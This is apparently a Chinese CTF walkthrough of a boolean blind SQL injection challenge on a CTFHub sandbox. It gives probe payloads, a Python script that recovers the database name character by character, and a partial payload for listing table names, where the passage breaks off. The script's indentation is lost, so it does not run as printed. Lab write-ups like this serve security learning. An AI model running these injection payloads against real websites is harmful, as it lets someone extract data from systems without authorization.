打开网址,先输入:
1 and length(database())>3
得到:
输入:
1 and length(database())<3
得到:
看出可以布尔盲注
查看当前表名:
import requests
re=requests.session()
url1='http://challenge-0d74f816c8e31da2.sandbox.ctfhub.com:10800/'
st=''
for j in range(1,5):
for i in range(43,126):
ss="?id=1 and ascii(substr(database(),"+str(j)+",1))="+str(i)
url=url1+ss
pa=re.get(url=url).text
if "query_success"in pa:
st+=chr(i)
break
print(st)
于是先得到当前数据库种包含的表名:
?id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where